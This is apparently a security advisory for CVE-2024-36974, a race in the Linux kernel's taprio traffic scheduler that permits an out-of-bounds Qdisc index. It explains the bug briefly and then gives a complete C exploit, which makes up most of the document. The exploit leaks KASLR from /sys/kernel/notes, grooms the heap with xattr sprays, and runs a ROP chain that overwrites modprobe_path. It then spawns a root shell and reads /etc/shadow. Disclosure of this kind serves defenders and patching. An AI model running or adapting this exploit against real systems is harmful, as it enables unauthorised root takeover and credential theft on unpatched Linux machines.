Summary

This white paper describes an out-of-bound access vulnerability for TyphoonPWN 2024 in the Linux PE category. This vulnerability has been tested and confirmed on Ubuntu 22.04 with the kernel version: 6.5.0-1023-oem.

Credit

An independent security researcher participating in TyphoonPWN 2024 in the Linux PE category

Vendor Response

The vulnerability has been patched at the upstream Linux as well as distributions that rely on it. The patch can be found at: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f921a58ae208.

Affected Versions
  • Linux Kernel 6.5.0
  • Ubuntu 22.04 with Linux Kernel 6.5.0-1023-em
CVE

CVE-2024-36974

Technical Analysis

The root cause of this vulnerability starts with a logic bug, which allows attackers to pass unsanitized input to the kernel and eventually causes OOB.

Specifically, in the taprio_parse_mqprio_opt function in the taprio scheduler (/net/sched/sch_taprio.c), which looks like this:

static int taprio_parse_mqprio_opt(...)
{
    ...
    if (dev->num_tc)
        return 0;
    ...

    // the following line verifies the user-input
    return mqprio_validate_qopt(...);
}

The logic is: if mqprio is already configured (dev->num_tc is nonzero), do not verify the user input.

This is usually fine because mqprio can be only configured once as checked by the following code:

static int taprio_change(...)
{
    ...
    err = taprio_parse_mqprio_opt(dev, mqprio, extack, q->flags);
    ...
    oper = rtnl_dereference(q->oper_sched);
    admin = rtnl_dereference(q->admin_sched);
    ...
    if (mqprio && (oper || admin)) {
    NL_SET_ERR_MSG(extack, "Changing the traffic mapping of a running schedule is not supported");
    err = -ENOTSUPP;
    goto free_sched;
    }

    if (mqprio) {
        err = netdev_set_num_tc(dev, mqprio->num_tc);
        ...
    }
    ...
    rcu_assign_pointer(q->admin_sched, new_admin);
    ...
 }

However, there is an inconsistency here: oper and admin are RCU-protected variables, which means what the kernel reads may be old versions while dev->num_tc will always be the latest version.

The vulnerability happens if a user invokes taprio_change twice within a RCU grace period (which is a really long time).

The first taprio_change will set dev->num_tc through the netdev_set_num_tc function but will not update q->admin_sched immediately because the update is delayed and will wait for a grace period.

Now, the second taprio_change will see the old version of q->admin_sched because the update has not happened yet and then allows users to update mqprio. But this time, it sees a non-zero dev->num_tc in taprio_parse_mqprio_opt and skips the input verification.

In other words, this vulnerability allows users to pass an arbitrary mqprio to the kernel.

But what can we do with this?

If you exhaustively look for places where its values got used, and it seems that the only useful place is again in taprio_change, and the value will be propagated leading to direct PC-control:

static int taprio_change(...)
{
    ...
    for (i = 0; i < mqprio->num_tc; i++) {
        ...
        q->cur_txq[i] = mqprio->offset[i];
    }
    ...
}

static struct sk_buff *taprio_dequeue_tc_priority(...)
{
    ...
    skb = taprio_dequeue_from_txq(sch, q->cur_txq[tc], entry, gate_mask);
    ...
}

static struct sk_buff *taprio_dequeue_from_txq(...)
{
    ...
    struct Qdisc *child = q->qdiscs[txq];
    ...
    skb = child->ops->peek(child);
    ...
    skb = child->ops->dequeue(child);
    ...
}

As we can see above, our value will be used as an index into an array q->qdiscs, and the kernel will dereference it and invoke functions.

Notice that the qdiscs array has a fixed size (16). if we pass a txq larger than 16, and with some heap spray and heap groom, we will be able to deference our data as child and obtain PC-control.

Exploitation

Since this vulnerability provides PC-control, the exploitation is fairly easy.

For step 1, we can bypass KASLR by reading the address of startup_xen from /sys/kernel/notes. Apparently, the kernel team forgets to remove kernel pointers from this pseudo-file (again).

For step 2, the only tricky thing is that we don’t have kernel heap leaks. So, how do we make sure child->ops points to somewhere we control?

After playing with pahole for a bit, you can realize that ops is at offset 0x18 in struct Qdisc, which happens to overlap with the name field of struct simple_xattr.

So, we can spray tons of struct simple_xattr objects and then place our payload in its name.

Of course, we also need to do some heap grooming to make sure that the vulnerable Qdisc object is followed by our controlled simple_xattr so that when the OOB happens, it reads our controlled data.

As a result, when the kernel invokes child->ops->xxx, it is something we control. Since we already bypassed KASLR, we can start ROPing from here.

So we approach this way to get root is to use the ROP chain to overwrite modprobe_path and then use another process to get root with the custom modprobe_path.
The good thing about this approach is that it requires a pretty short ROP chain and easy to manage.

Exploit
#define _GNU_SOURCE

#include <stdio.h>

#include <stdlib.h>

#include <stdarg.h>

#include <string.h>

#include <fcntl.h>

#include <sched.h>

#include <unistd.h>

#include <time.h>

#include <assert.h>

#include <signal.h>

#include <sys/xattr.h>

#include <sys/prctl.h>

#include <sys/mman.h>

#include <sys/wait.h>

#include <net/if.h>

#include <linux/rtnetlink.h>

#include <linux/pkt_sched.h>

#define XATTR_FILE_PATH "/tmp/xattr"
#define XATTR_DEFRAG_NUM 0x100
#define XATTR_SPRAY_NUM 0x800
#define OOB_IDX 16
#define STARTUP_XEN 0xffffffff836933d0

typedef unsigned long long u64;

char path[0x800];
int urand_fd = -1;
u64 kaslr_slide = -1;

int * crash = NULL;
int * terminate = NULL;
int * cpuid = NULL;
int cpu_num = -1;

void hex_print(void * addr, size_t len) {
  u64 tmp_addr = (u64) addr;
  puts("");
  for (u64 tmp_addr = (u64) addr; tmp_addr < (u64) addr + len; tmp_addr += 0x10) {
    printf("0x%016llx: 0x%016llx 0x%016llx\n", tmp_addr, *(u64 * ) tmp_addr, *(u64 * )(tmp_addr + 8));
  }
}

void error_out(const char * fmt, ...) {
  char * buf;
  va_list ap;

  va_start(ap, fmt);
  if (vasprintf( & buf, fmt, ap) < 0) {
    perror("[error_out]");
    exit(-1);
  }
  va_end(ap);

  puts(buf);
  perror("[Reason] ");
  exit(-1);
}

void rand_str(char * dest, size_t length) {
  char charset[] = "0123456789"
  "abcdefghijklmnopqrstuvwxyz"
  "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  read(urand_fd, dest, length);
  for (int i = 0; i < length; i++) {
    int idx = ((int) dest[i]) % (sizeof(charset) / sizeof(char) - 1);
    dest[i] = charset[idx];
  }
  dest[length] = '\0';
}

void pin_cpu(int cpuid) {
  cpu_set_t my_set;
  CPU_ZERO( & my_set);
  CPU_SET(cpuid, & my_set);
  if (sched_setaffinity(0, sizeof(my_set), & my_set) != 0)
    error_out("set cpu affinity at cpu: %d fails", cpuid);
}

int write_file(const char * fname,
  const char * fmt, ...) {
  char buf[1024];
  va_list args;

  va_start(args, fmt);
  vsnprintf(buf, sizeof(buf) - 1, fmt, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;

  int len = strlen(buf);
  int fd = open(fname, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return -1;
  if (write(fd, buf, len) != len) {
    close(fd);
    return -1;
  }
  close(fd);
  return 0;
}

void setup_sandbox(void) {
  int real_uid = getuid();
  int real_gid = getgid();

  if (unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS) != 0)
    error_out("unshare fails");
  if (write_file("/proc/self/setgroups", "deny") < 0)
    error_out("write_file(/proc/self/set_groups) fails");
  if (write_file("/proc/self/uid_map", "0 %d 1\n", real_uid) < 0)
    error_out("write_file(/proc/self/uid_map) fails");
  if (write_file("/proc/self/gid_map", "0 %d 1\n", real_gid) < 0)
    error_out("write_file(/proc/self/gid_map) fails");
  system("mount -t tmpfs none /tmp");
}

void * build_pkt(struct nlmsghdr * hdr, struct tcmsg * tcmsg, void * attrs, int attr_len) {
  void * payload = calloc(1, 0x10000);
  void * ptr = payload;
  hdr -> nlmsg_len = sizeof(struct nlmsghdr) + sizeof(struct tcmsg) + attr_len;

  memcpy(ptr, hdr, sizeof(struct nlmsghdr));
  ptr += sizeof(struct nlmsghdr);
  memcpy(ptr, tcmsg, sizeof(struct tcmsg));
  ptr += sizeof(struct tcmsg);
  memcpy(ptr, attrs, attr_len);
  return payload;
}

void heap_defragment(int num) {
  char name[0x100];
  char payload[0x100];
  memset(payload, 'A', sizeof(payload));

  memcpy(name, "security.", 9);

  for (int i = 0; i < num; i++) {
    rand_str( & name[0x9], 0x6);

    int ret = setxattr(XATTR_FILE_PATH, name, payload, 0x57, XATTR_CREATE);
    if (ret != 0) error_out("setxattr failure for file: %s", XATTR_FILE_PATH);
  }
}

void heap_groom() {
  char name[0x100];
  char payload[0x100];
  memset(payload, 'B', sizeof(payload));
  char ** names = calloc(XATTR_SPRAY_NUM, 8);

  memset(name, 'A', sizeof(name));
  memcpy(name, "security.", 9);
  //*(u64*)&name[0x38] =	  0xffffffffdeadbeef;
  //*(u64*)&name[0x30] =	  0xffffffffdeadbeef;
  //*(u64*)&payload[0x20+1] = 0xffffffffdeadbeef;

  //*(u64*)&payload[0] =	  kaslr_slide + 0xffffffff81e5ebca; //: pop rax; ret;
  //*(u64*)&payload[8] =	  kaslr_slide + 0xffffffff833d8960; // modprobe_path
  //*(u64*)&payload[0x10] =   kaslr_slide + 0xffffffff810e596f; //: pop rdi; pop r14; pop r13; pop r12; pop rbx; jmp 0xffffffff8213fc90 <__x86_return_thunk>;
  //*(u64*)&payload[0x18] =   0x6f6d2f706d742f2f;
  //*(u64*)&payload[0x40] =   kaslr_slide + 0xffffffff81e44878; //: mov [rax], rdi; mov eax, 4; pop rbp; xor esi, esi; xor edi, edi; jmp 0xffffffff8213fc90 <__x86_return_thunk>;
  //*(u64*)&payload[0x50] =   0xffffffffdeadbeef;

  *(u64 * ) & name[0x38] = kaslr_slide + 0xffffffff8149d82c; //: push rdi; mov rbp, rsp; pop rbp; xor edi, edi; ret
  *(u64 * ) & name[0x30] = kaslr_slide + 0xffffffff8149289e; //: leave; jmp qword ptr [rbp+0x48];
  *(u64 * ) & payload[0x20 + 1] = kaslr_slide + 0xffffffff810b5162; //: pop r13; pop r12; pop rbp; pop rbx; ret;

  *(u64 * ) & payload[0] = kaslr_slide + 0xffffffff81e5ebca; //: pop rax; ret;
  *(u64 * ) & payload[8] = kaslr_slide + 0xffffffff833d8960; // modprobe_path
  *(u64 * ) & payload[0x10] = kaslr_slide + 0xffffffff810e596f; //: pop rdi; pop r14; pop r13; pop r12; pop rbx; jmp 0xffffffff8213fc90 <__x86_return_thunk>;
  *(u64 * ) & payload[0x18] = 0x6f6d2f706d742f2f;
  *(u64 * ) & payload[0x40] = kaslr_slide + 0xffffffff81e44878; //: mov [rax], rdi; mov eax, 4; pop rbp; xor esi, esi; xor edi, edi; jmp 0xffffffff8213fc90 <__x86_return_thunk>;
  *(u64 * ) & payload[0x50] = kaslr_slide + 0xffffffff811f1690; // msleep

  heap_defragment(XATTR_DEFRAG_NUM);

  for (int i = 0; i < XATTR_SPRAY_NUM; i++) {
    rand_str( & name[0x48], 0x7);

    int ret = setxattr(XATTR_FILE_PATH, name, payload, 0x58, XATTR_CREATE);
    names[i] = strdup(name);
    if (ret != 0) error_out("setxattr failure for file: %s", XATTR_FILE_PATH);
  }

  for (int i = 0; i < XATTR_SPRAY_NUM; i += 32) {
    int ret = removexattr(XATTR_FILE_PATH, names[i]);
    if (ret != 0) error_out("setxattr failure for file: %s", XATTR_FILE_PATH);
  }

  //heap_defragment(0x20);
}

void exploit(void) {
  int ifindex = if_nametoindex("team0");
  int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

  struct nlmsghdr nlmsghdr = {
    .nlmsg_len = 0,
    .nlmsg_type = RTM_NEWQDISC,
    .nlmsg_flags = NLM_F_CREATE | NLM_F_REQUEST,
    .nlmsg_seq = 0,
    .nlmsg_pid = 0,
  };

  struct tcmsg tcmsg = {
    .tcm_family = 0,
    .tcm_ifindex = ifindex,
    .tcm_handle = 0,
    .tcm_parent = 0xffffffff,
    .tcm_info = 0,
  };

  struct tc_mqprio_qopt qopt = {
    0
  }; // setup a benign taprio mqprio
  memset( & qopt, 0, sizeof(qopt));
  qopt.num_tc = 1;
  qopt.hw = 0;
  qopt.count[0] = 1;
  qopt.offset[0] = 0;

  char raw_attrs[] = "\x0b\x00"
  "\x01\x00"
  "taprio\x00\x00" // rtm_tca_policy - TCA_KIND
  "\x7c\x00"
  "\x02\x00" // TCA_OPTIONS
  "\x08\x00"
  "\x05\x00"
  "\x00\x00\x00\x00" // TCA_TAPRIO_ATTR_SCHED_CLOCKID = 0
  "\x18\x00"
  "\x02\x80" // taprio_policy - TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST
  "\x14\x00"
  "\x01\x80" // TCA_TAPRIO_SCHED_ENTRY
  "\x08\x00"
  "\x03\x00"
  "\xfc\xff\xff\xff" // gate_mask = 0xfffffffc
  "\x08\x00"
  "\x04\x00"
  "\xff\xff\xff\x7f" // interval = 0x7fffffff
  "\x56\x00"
  "\x01\x00" // TCA_TAPRIO_ATTR_PRIOMAP
  "\x00"
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00";

  char * attrs = malloc(0x1000);
  memset(attrs, 0, 0x1000);

  // modify qopt
  memcpy(attrs, raw_attrs, sizeof(raw_attrs));
  memcpy(attrs + 0x30 + 4, & qopt, sizeof(qopt));

  void * pkt = build_pkt( & nlmsghdr, & tcmsg, attrs, sizeof(raw_attrs) - 1);
  heap_groom();
  send(sock, pkt, nlmsghdr.nlmsg_len, 0);

  struct nlmsghdr nlmsghdr2 = {
    .nlmsg_len = 0,
    .nlmsg_type = RTM_NEWQDISC,
    .nlmsg_flags = NLM_F_CREATE | NLM_F_REPLACE | NLM_F_REQUEST,
    .nlmsg_seq = 0,
    .nlmsg_pid = 0,
  };

  struct tcmsg tcmsg2 = {
    .tcm_family = 0,
    .tcm_ifindex = ifindex,
    .tcm_handle = 0x10000,
    .tcm_parent = 0xffffffff,
    .tcm_info = 0,
  };

  char raw_attrs2[] = "\x0b\x00"
  "\x01\x00"
  "taprio\x00\x00" // rtm_tca_policy - TCA_KIND
  "\x7c\x00"
  "\x02\x00" // TCA_OPTIONS
  "\x08\x00"
  "\x05\x00"
  "\x00\x00\x00\x00" // TCA_TAPRIO_ATTR_SCHED_CLOCKID = 0
  "\x18\x00"
  "\x02\x80" // taprio_policy - TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST
  "\x14\x00"
  "\x01\x80" // TCA_TAPRIO_SCHED_ENTRY
  "\x08\x00"
  "\x03\x00"
  "\xff\xff\xff\xff" // gate_mask = 0xffffffff
  "\x08\x00"
  "\x04\x00"
  "\x00\x20\x00\x00" // interval = 0x1000
  "\x56\x00"
  "\x01\x00" // TCA_TAPRIO_ATTR_PRIOMAP
  "\x00"
  "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00"
  "\x00\x00";

  memset( & qopt, 0, sizeof(qopt));
  qopt.num_tc = 1;
  qopt.hw = 0;
  qopt.count[0] = 1;
  qopt.offset[0] = OOB_IDX;
  memcpy(attrs, raw_attrs2, sizeof(raw_attrs2));
  memcpy(attrs + 0x30 + 4, & qopt, sizeof(qopt));

  void * pkt2 = build_pkt( & nlmsghdr2, & tcmsg2, attrs, sizeof(raw_attrs2) - 1);

  send(sock, pkt2, nlmsghdr2.nlmsg_len, 0);

  puts("[-] failed to trigger the payload, retry...");
  * terminate = 1;
  sleep(1000000);
}

void context_setup() {
  int fd = open(XATTR_FILE_PATH, O_CREAT, 0777);
  if (fd < 0) error_out("fail to create a file for xattr spray");
  close(fd);

  urand_fd = open("/dev/random", O_RDONLY);

  fd = open("/sys/kernel/notes", O_RDONLY);
  char buf[0xf0];
  read(fd, buf, 0xf0);

  u64 startup_xen;
  int ret = read(fd, & startup_xen, sizeof(u64));
  assert(ret > 0);
  kaslr_slide = startup_xen - STARTUP_XEN;
  printf("startup_xen: %#llx\n", startup_xen);
  printf("kaslr_slide: %#llx\n", kaslr_slide);
  close(fd);
  assert((kaslr_slide & 0xfff) == 0);
}

void check_root() {
  // if we are root
  if (open("/etc/shadow", 0) >= 0) {
    setuid(0);
    setgid(0);
    puts("============================");
    puts("|   Pwned by @ky1ebot !	|");
    puts("============================");
    system("id;");
    puts("============================");
    system("head -n 10 /etc/shadow");
    puts("============================");
    system("/bin/bash");
    exit(0);
  }
  // or if we can be root
  int tmp_fd = open("/proc/sys/kernel/modprobe", 0);
  char buf[0x2000];
  memset(buf, 0, sizeof(buf));
  read(tmp_fd, buf, sizeof(buf));
  if (!strncmp(buf, "//tmp/modprobe", 14)) {
    sprintf(buf, "echo '#!/bin/bash\\nchown root:root %s; chmod 04755 %s' > /tmp/modprobe; chmod +x /tmp/modprobe", path, path);
    system(buf);
    system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
    char * argv[] = {
      path,
      NULL
    };
    char * env[] = {
      NULL
    };
    execve(path, argv, env);
  }
}

pid_t clean_fork(void) {
  pid_t pid = fork();
  if (pid) return pid;

  if (prctl(PR_SET_PDEATHSIG, SIGKILL) < 0) error_out("fail to register DEATHSIG");
  return pid;
}

void wait_root() {
  int fd = open("/proc/sys/kernel/modprobe", 0);
  char buf[0x100];
  system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
  while (1) {
    lseek(fd, 0, SEEK_SET);
    memset(buf, 0, sizeof(buf));
    read(fd, buf, sizeof(buf));
    if (!strncmp(buf, "//tmp/modprobe", 14)) break;
    sleep(1);
  }
  for (int i = 0; i < 10; i++) {
    if (!clean_fork()) {
      pin_cpu( * cpuid);
      while (1);
    }
  }
  puts("[+] Payload is written! /proc/sys/kernel/modprobe now points to //tmp/modprobe!");
  memset(buf, '\n', 0xff);
  buf[0xff] = 0;
  puts(buf);
  char * argv[] = {
    path,
    NULL
  };
  char * env[] = {
    NULL
  };
  execve(path, argv, env);
}

void attempt() {
  pin_cpu( * cpuid);
  setup_sandbox();
  context_setup();
  system("ip link set lo up");
  system("ip link add name team0 type team");
  exploit();
}

int modprobe_overwritten() {
  int fd = open("/proc/sys/kernel/modprobe", 0);
  char buf[0x2000];
  memset(buf, 0, sizeof(buf));
  read(fd, buf, sizeof(buf));
  return !strncmp(buf, "//tmp/modprobe", 14);
}

int main(int argc, char ** argv, char ** env) {
  // save absolute path for later use
  if (argc && argv[0] && argv[0][0]) assert(realpath(argv[0], path) != NULL);

  // in case we already are/can be root
  check_root();

  // first thing first, before we get into a namespace
  // we launch a process that wait for root
  if (!clean_fork()) {
    pin_cpu(0);
    wait_root();
    sleep(1000000);
  }

  // exploitation!
  cpu_num = sysconf(_SC_NPROCESSORS_ONLN);
  assert(cpu_num > 0);

  terminate = (int * ) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANON, -1, 0);
  cpuid = terminate + 1;
  * cpuid = 1;
  while (!modprobe_overwritten()) {
    * terminate = 0;
    int pid = fork();
    time_t start = time(NULL);
    if (!pid) {
      attempt(); // no return
    }
    while ( * terminate == 0 && time(NULL) - start < 10 && !modprobe_overwritten()) {
      int status = 0;
      if (waitpid(-1, & status, WNOHANG | __WALL) == pid) break;
      sleep(1);
    }
    * cpuid = ( * cpuid + 1) % cpu_num;
  }

  // wait for the root shell to pop up
  // don't want to fork here because the messed up process
  sleep(10000000);

  return 0;
}

?

Get in touch

Skip to content